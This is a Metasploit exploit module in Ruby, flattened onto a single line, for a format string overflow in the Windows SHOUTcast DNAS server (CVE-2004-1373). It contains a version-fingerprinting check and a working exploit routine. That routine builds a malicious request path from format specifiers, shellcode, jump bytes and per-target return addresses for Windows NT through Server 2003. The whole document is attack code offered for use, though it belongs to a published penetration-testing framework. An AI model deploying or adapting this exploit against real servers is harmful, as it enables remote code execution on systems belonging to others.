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## # $Id: shoutcast_format.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow', 'Description'=> %q{ This module exploits a format string vulnerability in the Nullsoft SHOUTcast server for Windows. The vulnerability is triggered by requesting a file path that contains format string specifiers. This vulnerability was discovered by Tomasz Trojanowski and Damian Put. }, 'Author' => [ 'MC', 'mandragore[at]gmail.com'], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2004-1373'], [ 'OSVDB', '12585'], [ 'BID', '12096'], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 250, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ ['Windows NT SP5/SP6a English',{ 'Ret' => 0x776a1799 }], # ws2help.dll ['Windows 2000 English ALL', { 'Ret' => 0x75022ac4 }], # ws2help.dll ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll ['Windows 2003 Server English',{ 'Ret' => 0x7ffc0638 }], # PEB return ], 'DisclosureDate' => 'Dec 23 2004')) register_options( [ Opt::RPORT(8000) ], self.class) end def check r = send_request_raw({ 'uri' => uri }, 5) return Exploit::CheckCode::Safe if not r m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/) return Exploit::CheckCode::Safe if not m print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}") # SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR> if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/) if (m[2] == "win32") return Exploit::CheckCode::Vulnerable end print_status("Vulnerable version detected, but not a win32 host") end return Exploit::CheckCode::Safe end def exploit num = 1046 - payload.encoded.length uri = '/content/%#0' + num.to_s + 'x' + payload.encoded uri << "\xeb\x06" + rand_text_alphanumeric(2) uri << [target.ret].pack('V') uri << "\xe9\x2d\xff\xff\xff" uri << '#0100x.mp3' print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret) send_request_raw({ 'uri' => uri }, 5) handler disconnect end end |
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